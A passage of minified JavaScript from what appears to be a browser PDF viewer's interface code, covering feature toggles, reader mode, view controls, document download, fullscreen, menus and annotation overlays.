n=qc.keyHandlerMap,r=n.up,o=n.down,i=n.pageup,a=n.pagedown;e?(qc.on("up",r),qc.on("down",o),qc.on("pageup",i),qc.on("pagedown",a)):(qc.off("up"),qc.off("down"),qc.off("pageup"),qc.off("pagedown"),vt.setDisplayMode("Single")),Gp.allowSwipe=e,t.dispatch(Ps.setAllowPageNavigation(e))}}),Ph(r,Wp.MouseWheelZoom,{fn:function(){t.dispatch(Ps.setMouseWheelZoom(e))}}),Ph(r,Wp.Search,{dataElements:["searchButton"],fn:function(){var t=Uc(zc.CTRL_F,zc.COMMAND_F);e?Ip.on(t):Ip.off(t)}}),Ph(r,Wp.MathSymbols,{dataElements:["mathSymbolsButton","richTextPopup"]}),Ph(r,Wp.OutlineEditing,{dataElements:["outlineControls","addNewOutlineButtonContainer","addNewOutlineButton","outlineReorderButtonGroup","editOutlineButton","outlineEditPopup","renameOutlineButton","deleteOutlineButton"],fn:function(){t.dispatch(Ps.setIsOutlineEditing(e))}}),Ph(r,Wp.NotesShowLastUpdatedDate,{fn:function(){t.dispatch(Ps.setNotesShowLastUpdatedDate(e))}}),Ph(r,Wp.MultiTab,{fn:function(){if(e){var n=t.getState();if(fi.getIsMultiTab(n)&&fi.getTabManager(n))return;var r=vt.getDocument(),o=[];r&&o.push(r);var i=new Th(o,[],t);t.dispatch(Ps.setMultiTab(!0)),t.dispatch(Ps.setTabManager(i))}else t.dispatch(Ps.setMultiTab(!1)),t.dispatch(Ps.setTabManager(null)),t.dispatch(Ps.setTabs([])),t.dispatch(Ps.setActiveTab(0))}}),Ph(r,Wp.ChangeView,{dataElements:["changeViewToolGroupButton"]}),r);Array.isArray(n)||(n=[n]),n.forEach((function(n){var r=i[n],a=r.dataElements,l=void 0===a?[]:a,s=r.fn,u=void 0===s?function(){}:s;e?t.dispatch(Ps.enableElements(l,o)):t.dispatch(Ps.disableElements(l,o)),u()}))}},Rh=function(e){return Mh(!0,e)},jh=function(e){return Mh(!1,e)};function Lh(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function Ih(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){Lh(i,r,o,a,l,"next",e)}function l(e){Lh(i,r,o,a,l,"throw",e)}a(void 0)}))}}var Nh=[Wp.Download,Wp.Print,Wp.Search,Wp.NotesPanel],Dh=["panToolButton","selectToolButton","outlinesPanelButton","bookmarksPanelButton","signaturePanelButton","toolbarGroup-Shapes","toolbarGroup-Insert","toolbarGroup-Edit","toolbarGroup-FillAndSign","toolbarGroup-Forms","stickyToolGroupButton","freeTextToolGroupButton","shapeToolGroupButton","freeHandToolGroupButton","freeHandHighlightToolGroupButton","undoButton","redoButton","eraserToolButton"],Fh=function(e){var t=e.getState(),n=window.Core.PDFNet;n.initialize().then((function(){var r=function(){var r=Ih(regeneratorRuntime.mark((function r(){var o,i,a,l;return regeneratorRuntime.wrap((function(r){for(;;)switch(r.prev=r.next){case 0:return r.prev=0,o=vt.getDocumentViewer(),r.next=4,o.getDocument().getPDFDoc();case 4:return i=r.sent,r.next=7,vt.getAnnotationManager().exportAnnotations({widgets:!1,fields:!1});case 7:return a=r.sent,r.next=10,n.FDFDoc.createFromXFDF(a);case 10:return l=r.sent,r.next=13,i.fdfUpdate(l);case 13:vt.setDisplayMode("Single"),e.dispatch(Ps.setReaderMode(!0)),jh(e)(Nh,1),e.dispatch(Ps.disableElements(Dh,1)),fi.isElementDisabled(t,"toolbarGroup-Annotate")?e.dispatch(Ps.setToolbarGroup("toolbarGroup-View")):(e.dispatch(Ps.setToolbarGroup("toolbarGroup-Annotate")),e.dispatch(Ps.setActiveToolGroup(""))),o.setToolMode(o.getTool(window.Core.Tools.ToolNames.EDIT)),r.next=24;break;case 21:r.prev=21,r.t0=r.catch(0),console.warn(r.t0);case 24:case"end":return r.stop()}}),r,null,[[0,21]])})));return function(){return r.apply(this,arguments)}}();n.runWithCleanup(r)}))},Bh=function(){var e=Ih(regeneratorRuntime.mark((function e(t){var n,r,o,i,a;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return n=window.Core.PDFNet,t.dispatch(Ps.setReaderMode(!1)),Rh(t)(Nh,1),t.dispatch(Ps.enableElements(Dh,1)),e.next=6,vt.getDocumentViewer().getDocument().getPDFDoc();case 6:return r=e.sent,e.next=9,r.fdfExtract(n.PDFDoc.ExtractFlag.e_both);case 9:return o=e.sent,e.next=12,o.saveAsXFDFAsString();case 12:return i=e.sent,a=vt.getAnnotationManager(),e.next=16,a.importAnnotations(i,{replace:[Annotations.TextMarkupAnnotation]});case 16:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}();function Hh(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Vh(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Vh(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Vh(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var zh=function(){var e,t,n,r=Hh(Ks(),1)[0],o=te(),i=le(fi.getTotalPages),a=le(fi.getDisplayMode),l=le((function(e){return fi.isElementDisabled(e,"viewControlsOverlay")})),u=le(fi.isReaderMode),c=i<1e3,f=null===(e=window.documentViewer)||void 0===e?void 0:e.getDisplayModeManager();f&&f.isVirtualDisplayEnabled()&&(c=!0);var d,p,h=function(e,t){var n=function(){var n=hp.find((function(n){return n.pageTransition===e&&n.layout===t}));vt.setDisplayMode(n.displayMode)};u?(Bh(o),setTimeout((function(){n()}))):n()};if(l)return null;var m=hp.find((function(e){return e.displayMode===a}));m&&(d=m.pageTransition,p=m.layout);var g=vt.isFullPDFEnabled()&&"pdf"===(null===(t=window.documentViewer)||void 0===t||null===(n=t.getDocument())||void 0===n?void 0:n.getType());return s.a.createElement(Lp,{menu:"viewControlsOverlay",trigger:"viewControlsButton",onClose:void 0,ariaLabel:r("component.viewControlsOverlay")},c&&s.a.createElement(s.a.Fragment,null,s.a.createElement(Uf,{dataElement:"pageTransitionHeader",className:"type"},r("option.displayMode.pageTransition")),s.a.createElement(Uf,{className:js()({row:!0,active:"continuous"===d&&!u}),onClick:function(){return h("continuous",p)},dataElement:"continuousPageTransitionButton"},s.a.createElement(bf,{title:"option.pageTransition.continuous",img:"icon-header-page-manipulation-page-transition-continuous-page-line",isActive:"continuous"===d&&!u,role:"option"}),s.a.createElement("div",{className:"title"},r("option.pageTransition.continuous"))),s.a.createElement(Uf,{className:js()({row:!0,active:"default"===d&&!u}),onClick:function(){return h("default",p)},dataElement:"defaultPageTransitionButton"},s.a.createElement(bf,{title:"option.pageTransition.default",img:"icon-header-page-manipulation-page-transition-page-by-page-line",isActive:"default"===d&&!u,role:"option"}),s.a.createElement("div",{className:"title"},r("option.pageTransition.default"))),g&&s.a.createElement(Uf,{className:js()({row:!0,active:u}),onClick:function(){u||Fh(o)},dataElement:"readerPageTransitionButton"},s.a.createElement(bf,{title:"option.pageTransition.reader",img:"icon-header-page-manipulation-page-transition-reader",isActive:u,role:"option"}),s.a.createElement("div",{className:"title"},r("option.pageTransition.reader"))),!u&&s.a.createElement(Uf,{dataElement:"viewControlsDivider1",className:"divider"})),!u&&s.a.createElement(s.a.Fragment,null,s.a.createElement(Uf,{dataElement:"rotateHeader",className:"type"},r("action.rotate")),s.a.createElement(Uf,{className:"row",onClick:vt.rotateClockwise,dataElement:"rotateClockwiseButton"},s.a.createElement(rd,{title:"action.rotateClockwise",img:"icon-header-page-manipulation-page-rotation-clockwise-line",role:"option"}),s.a.createElement("div",{className:"title"},r("action.rotateClockwise"))),s.a.createElement(Uf,{className:"row",onClick:vt.rotateCounterClockwise,dataElement:"rotateCounterClockwiseButton"},s.a.createElement(rd,{title:"action.rotateCounterClockwise",img:"icon-header-page-manipulation-page-rotation-counterclockwise-line",role:"option"}),s.a.createElement("div",{className:"title"},r("action.rotateCounterClockwise"))),s.a.createElement(Uf,{dataElement:"viewControlsDivider2",className:"divider"}),s.a.createElement(Uf,{dataElement:"layoutHeader",className:"type"},r("option.displayMode.layout")),s.a.createElement(Uf,{className:js()({row:!0,active:"single"===p}),onClick:function(){return h(d,"single")},dataElement:"singleLayoutButton"},s.a.createElement(bf,{title:"option.layout.single",img:"icon-header-page-manipulation-page-layout-single-page-line",isActive:"single"===p,role:"option"}),s.a.createElement("div",{className:"title"},r("option.layout.single"))),s.a.createElement(Uf,{className:js()({row:!0,active:"double"===p}),onClick:function(){return h(d,"double")},dataElement:"doubleLayoutButton"},s.a.createElement(bf,{title:"option.layout.double",img:"icon-header-page-manipulation-page-layout-double-page-line",isActive:"double"===p,role:"option"}),s.a.createElement("div",{className:"title"},r("option.layout.double"))),s.a.createElement(Uf,{className:js()({row:!0,active:"cover"===p}),onClick:function(){return h(d,"cover")},dataElement:"coverLayoutButton"},s.a.createElement(bf,{title:"option.layout.cover",img:"icon-header-page-manipulation-page-layout-cover-line",isActive:"cover"===p,role:"option"}),s.a.createElement("div",{className:"title"},r("option.layout.cover")))))},Uh=n(69);function Gh(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}var Wh=function(){var e,t=(e=regeneratorRuntime.mark((function e(t){var n,r,o,i,a,l,s,u,c,f,d=arguments;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(r=d.length>1&&void 0!==d[1]?d[1]:{},o=r.filename,i=void 0===o?(null===(n=vt.getDocument())||void 0===n?void 0:n.getFilename())||"document":o,a=r.includeAnnotations,l=void 0===a||a,s=r.externalURL,u=r.useDisplayAuthor,c=void 0!==u&&u,r.downloadType||(r.downloadType="pdf"),t(Ps.openElement("loadingModal")),f=Promise.resolve(),!l||r.xfdfString){e.next=15;break}if(!r.documentToBeDownloaded){e.next=14;break}return e.t0=Promise,e.next=10,r.documentToBeDownloaded.extractXFDF();case 10:e.t1=e.sent.xfdfString,f=e.t0.resolve.call(e.t0,e.t1),e.next=15;break;case 14:f=vt.exportAnnotations({useDisplayAuthor:c});case 15:return e.abrupt("return",f.then((function(e){var n,o;r.xfdfString=r.xfdfString||e,l||(r.includeAnnotations=!1);var a,u,c="video"===(null===(n=vt.getDocument())||void 0===n?void 0:n.getType())||"audio"===(null===(o=vt.getDocument())||void 0===o?void 0:o.getType())?i:(u=".pdf",(a=i).slice(-u.length).toLowerCase()!==u&&(a+=u),a),f=vt.getDocument(),d=Object.assign({},r);if(d.documentToBeDownloaded&&(f=d.documentToBeDownloaded,delete d.documentToBeDownloaded),!s)return f.getFileData(d).then((function(e){var n,r=new Uint8Array(e);n=kt?new Blob([r],{type:"application/pdf"}):new File([r],c,{type:"application/pdf"}),Object(Uh.saveAs)(n,c),t(Ps.closeElement("loadingModal")),zt(Ht.FINISHED_SAVING_PDF),zt(Ht.FILE_DOWNLOADED)}),(function(e){throw t(Ps.closeElement("loadingModal")),new Error(e.message)}));var p=document.getElementById("download-iframe")||document.createElement("iframe");p.width=0,p.height=0,p.id="download-iframe",p.src=null,document.body.appendChild(p),p.src=s,t(Ps.closeElement("loadingModal")),zt(Ht.FINISHED_SAVING_PDF),zt(Ht.FILE_DOWNLOADED)})).catch((function(e){console.warn(e),t(Ps.closeElement("loadingModal"))})));case 16:case"end":return e.stop()}}),e)})),function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){Gh(i,r,o,a,l,"next",e)}function l(e){Gh(i,r,o,a,l,"throw",e)}a(void 0)}))});return function(e){return t.apply(this,arguments)}}(),qh=function(){return!!(document.fullscreenElement||document.mozFullScreenElement||document.webkitFullscreenElement||document.msFullscreenElement)},Zh=function(){if(qh())document.exitFullscreen?document.exitFullscreen():document.msExitFullscreen?document.msExitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitExitFullscreen&&document.webkitExitFullscreen(),zt(Ht.FULLSCREEN_MODE_TOGGLED,{isInFullscreen:!1});else{var e=document.documentElement;e.requestFullscreen?e.requestFullscreen():e.msRequestFullscreen?e.msRequestFullscreen():e.mozRequestFullScreen?e.mozRequestFullScreen():e.webkitRequestFullScreen&&(e.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT),setTimeout((function(){document.webkitCurrentFullScreenElement||e.webkitRequestFullScreen()}),200)),zt(Ht.FULLSCREEN_MODE_TOGGLED,{isInFullscreen:!0})}},Yh={COLOR_PALETTE:"colorPalette",OPACITY_SLIDER:"opacitySlider",STROKE_THICKNESS_SLIDER:"strokeThicknessSlider",FONT_SIZE_SLIDER:"fontSizeSlider",STYLE_OPTION:"styleOption",STYLE_POPUP:"stylePopup",SCALE_INPUT_CONTAINER:"scaleInputContainer",PRECISION_INPUT_CONTAINER:"precisionInputContainer",STYLE_POPUP_TEXT_STYLE_CONTAINER:"stylePopupTextStyleContainer",STYLE_POPUP_COLORS_CONTAINER:"stylePopupColorsContainer",STYLE_POPUP_LABEL_TEXT_CONTAINER:"stylePopupLabelTextContainer",REDACTION_PANEL:"redactionPanel",REDACTION_PANEL_TOGGLE:"redactionPanelToggle",WV3D_PROPERTIES_PANEL:"wv3dPropertiesPanel",WV3D_PROPERTIES_PANEL_TOGGLE:"wv3dPropertiesPanelToggle",OUTLINE_PANEL:"outlinesPanel",OUTLINE_CONTROLS:"outlineControls",BOOKMARK_PANEL:"bookmarksPanel",BOOKMARK_SHORTCUT_OPTION:"bookmarkShortcutOption",PAGE_REDACT_MODAL:"pageRedactionModal",LINK_MODAL:"linkModal",LANGUAGE_MODAL:"languageModal",FILTER_MODAL:"filterModal",ANNOTATION_USER_FILTER_PANEL_BUTTON:"annotationUserFilterPanelButton",ANNOTATION_COLOR_FILTER_PANEL_BUTTON:"annotationColorFilterPanelButton",ANNOTATION_TYPE_FILTER_PANEL_BUTTON:"annotationTypeFilterPanelButton",ANNOTATION_STATUS_FILTER_PANEL_BUTTON:"annotationStatusFilterPanelButton"};n(938);function $h(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Kh(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Kh(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Kh(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function Xh(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Qh(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Xh(Object(n),!0).forEach((function(t){Jh(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Xh(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function Jh(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var em=function(e){var t=e.dataElement,n=e.children,r=le((function(e){return fi.getMenuOverlayItems(e,t)}),N),o=s.a.Children.toArray(n);return r.map((function(e,t){var n=e.dataElement,r=e.type,i=e.hidden,a="".concat(r,"-").concat(n||t),l=null==i?void 0:i.map((function(e){return"hide-in-".concat(e)})).join(" "),u=o.find((function(e){return e.props.dataElement===n}));if(!u){var c=Qh(Qh({},e),{},{mediaQueryClassName:l});switch(r){case"actionButton":u=s.a.createElement(rd,c);break;case"customElement":u=s.a.createElement(wd,c)}}return u?s.a.cloneElement(u,{key:a}):null}))};var tm=function(){var e=re(),t=$h(Ks(),1)[0],n=$h(Object(l.useState)(null),2),r=n[0],o=n[1],i=le(fi.getActiveTheme),a=le(fi.isEmbedPrintSupported),u=le(fi.getColorMap),c=le(fi.getSortStrategy),f=le(fi.isFullScreen),d=Object(l.useCallback)((function(){return e(Ps.closeElements(["menuOverlay"]))}),[e]),p=Object(l.useCallback)((function(){return e(Ps.setActiveTheme("light"))}),[e]),h=Object(l.useCallback)((function(){return e(Ps.setActiveTheme("dark"))}),[e]);return Object(l.useEffect)((function(){var e=function(){return o(vt.getDocument().getType())};return vt.addEventListener("documentLoaded",e),function(){vt.removeEventListener("documentLoaded",e)}}),[]),s.a.createElement(Lp,{menu:"menuOverlay",trigger:"menuButton",onClose:void 0,ariaLabel:t("component.menuOverlay")},s.a.createElement(em,null,s.a.createElement(rd,{dataElement:"filePickerButton",className:"row",img:"icon-header-file-picker-line",label:t("action.openFile"),ariaLabel:t("action.openFile"),role:"option",onClick:Eu}),s.a.createElement(rd,{dataElement:"fullscreenButton",className:"row",img:f?"icon-header-full-screen-exit":"icon-header-full-screen",label:t(f?"action.exitFullscreen":"action.enterFullscreen"),ariaLabel:t(f?"action.exitFullscreen":"action.enterFullscreen"),role:"option",onClick:Zh}),r!==qu&&s.a.createElement(rd,{dataElement:"downloadButton",className:"row",img:"icon-header-download",label:t("action.download"),ariaLabel:t("action.download"),role:"option",onClick:function(){Wh(e)}}),s.a.createElement(rd,{dataElement:"printButton",className:"row",img:"icon-header-print-line",label:t("action.print"),ariaLabel:t("action.print"),role:"option",onClick:function(){d(),hc(e,a,c,u)}}),!kt&&s.a.createElement(rd,{dataElement:"themeChangeButton",className:"row",img:"icon - header - mode - ".concat("dark"===i?"day":"night"),label:t("dark"===i?"action.lightMode":"action.darkMode"),ariaLabel:t("dark"===i?"action.lightMode":"action.darkMode"),role:"option",onClick:"dark"===i?p:h}),s.a.createElement(rd,{dataElement:"languageButton",className:"row",img:"icon-header-language",label:t("action.switchLanguage"),ariaLabel:t("action.switchLanguage"),role:"option",onClick:function(){d(),e(Ps.openElement(Yh.LANGUAGE_MODAL))}})))};n(939);function nm(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function rm(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?nm(Object(n),!0).forEach((function(t){om(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):nm(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function om(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function im(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return am(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return am(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function am(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var lm=function(e){var t=e.annotation,n=e.overlayPosition,r=e.overlayRef,o=im(Ks(),1)[0],i=vt.getFormFieldCreationManager().getFieldName(t),a=t.getFormFieldPlaceHolderType();return s.a.createElement("div",{className:"Overlay AnnotationContentOverlay","data-element":"annotationContentOverlay",style:rm({},n),ref:r},s.a.createElement("div",null,s.a.createElement("span",{style:{fontWeight:"bold"}},o("formField.type"),": "),o(function(e){switch(e){case"TextFormField":return"formField.types.text";case"SignatureFormField":return"formField.types.signature";case"CheckBoxFormField":return"formField.types.checkbox";case"ListBoxFormField":return"formField.types.listbox";case"ComboBoxFormField":return"formField.types.combobox";case"RadioButtonFormField":return"formField.types.radio"}}(a))),s.a.createElement("div",null,s.a.createElement("span",{style:{fontWeight:"bold"}},o("formField.formFieldPopup.fieldName"),": "),i))};function sm(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function um(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?sm(Object(n),!0).forEach((function(t){cm(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):sm(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function cm(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function fm(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return dm(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return dm(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function dm(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var pm=function(){var e=fm(le((function(e){return[fi.isElementDisabled(e,"annotationContentOverlay"),fi.isElementOpen(e,"annotationContentOverlay")]})),2),t=e[0],n=e[1],r=fm(Ks(),1)[0],o=fm(Object(l.useState)(),2),i=o[0],a=o[1],u=fm(Object(l.useState)({left:0,top:0}),2),c=u[0],f=u[1],d=re(),p=le((function(e){return fi.getAnnotationContentOverlayHandler(e)})),h=null!==p,m=Object(l.useRef)(null),g=null==i?void 0:i.getContents();Object(l.useEffect)((function(){var e=function(e){var t=vt.getViewerElement(),n=vt.getAnnotationManager().getAnnotationByMouseEvent(e);if(n&&t.contains(e.target)){var r=vt.getAnnotationManager().getGroupAnnotations(n).filter((function(e){return!e.isGrouped()}));if(n=r.length>0?r[0]:n,(h||!(n instanceof Annotations.FreeTextAnnotation))&&(a(n),m.current)){var o=function(e,t,n){var r=m.current.getBoundingClientRect();return t+r.width>window.innerWidth&&(t=e.clientX-r.width-20),n+r.height>window.innerHeight&&(n=e.clientY-r.height-20),n<=0&&(n=0),{left:t,top:n}}(e,e.clientX+20,e.clientY+20),i=o.left,l=o.top;f({left:i,top:l})}d(Ps.openElement("annotationContentOverlay"))}else a(null),d(Ps.closeElement("annotationContentOverlay"))};return vt.addEventListener("mouseMove",e),function(){vt.removeEventListener("mouseMove",e)}}),[i,d,h]);var v=null==i?void 0:i.getReplies().length,y=h&&i?p(i):null,b=Object(l.useCallback)((function(){return y}),[y]);return t||jt||!i?null:h&&n&&void 0!==y?y?s.a.createElement("div",{className:"Overlay AnnotationContentOverlay","data-element":"annotationContentOverlay",style:um({},c),ref:m},s.a.createElement(wd,{render:b})):null:i.isFormFieldPlaceholder()&&n?s.a.createElement(lm,{annotation:i,overlayPosition:c,overlayRef:m}):g&&n?s.a.createElement("div",{className:"Overlay AnnotationContentOverlay","data-element":"annotationContentOverlay",style:um({},c),ref:m},s.a.createElement("div",{className:"author"},vt.getDisplayAuthor(i.Author)),s.a.createElement("div",{className:"contents"},g.length>100?"".concat(g.slice(0,100),"..."):g),v>0&&s.a.createElement("div",{className:"replies"},r("message.annotationReplyCount",{count:v}))):null},hm=function(e){var t=e.style.transition;e.style.transition="none";var n=parseInt(window.getComputedStyle(e).width,10);return e.style.transition=t,n},mm=function(e,t){var n=hm(t);if(At&&(t.style.width="".concat(n+e,"px")),_t){t.style.width="".concat(n+e+17,"px")}},gm=function(e,t){var n=hm(t);if(At&&(t.style.width="".concat(n-e,"px")),_t){t.style.width="".concat(n-e+17,"px")}},vm=n(45),ym=n.n(vm),bm=n(57),wm=n.n(bm),Em=["forwardedRef"];function Sm(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Cm(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Sm(Object(n),!0).forEach((function(t){pe()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Sm(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function xm(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return function(n){function r(r){var o=r.forwardedRef,i=wm()(r,Em),a=Ks(e,i),l=Hs()(a,3),u=l[0],c=l[1],f=l[2],d=Cm(Cm({},i),{},{t:u,i18n:c,tReady:f});return t.withRef&&o?d.ref=o:!t.withRef&&o&&(d.forwardedRef=o),s.a.createElement(n,d)}r.displayName="withI18nextTranslation(".concat(Zs(n),")"),r.WrappedComponent=n;return t.withRef?s.a.forwardRef((function(e,t){return s.a.createElement(r,Object.assign({},e,{forwardedRef:t}))})):r}}var Om=/,/g,Am=function(e){switch(e){case"ft'":return"ft";case'in"':return"in";case"ft-in":return"ft";default:return e}};n(943);function _m(e){return function(t){switch(ac(e.annotation)){case"ellipse":return s.a.createElement(Tm,e);default:console.error("Custom overlay for annotation type: ".concat(t," not supported"))}}(e.type)}function Tm(e){var t,n=ac(e.annotation),r=sc(n).icon,o=e.t,i=vt.getTool("AnnotationCreateDistanceMeasurement"),a=i.defaults.Precision,l=i.defaults.Scale,u=i.Measure,c=l[1][1];return s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"measurement__title"},r&&s.a.createElement(cf,{className:"measurement__icon",glyph:r}),e.title),s.a.createElement("div",{className:"measurement__scale"},o("option.measurementOverlay.scale"),": ","".concat(l[0][0]," ").concat(l[0][1]," = ").concat(l[1][0]," ").concat(l[1][1])),s.a.createElement("div",{className:"measurement__precision"},o("option.shared.precision"),": ",a),s.a.createElement("div",{className:"measurement__value"},e.label,": ",s.a.createElement("input",{className:"lineMeasurementInput",type:"number",min:"0",value:(t=u.axis[0].factor,(e.value(e.annotation).toFixed(2)*t).toFixed(2)),onChange:function(t){return e.onChange(t,e.annotation)}})," ",c))}_m.propTypes={annotation:Is.a.object.isRequired,value:Is.a.func.isRequired,onChange:Is.a.func.isRequired,label:Is.a.string.isRequired,t:Is.a.func.isRequired,title:Is.a.string.isRequired},Tm.propTypes=_m.propTypes;var km=xm()(_m);function Pm(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Mm(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Mm(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Mm(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new 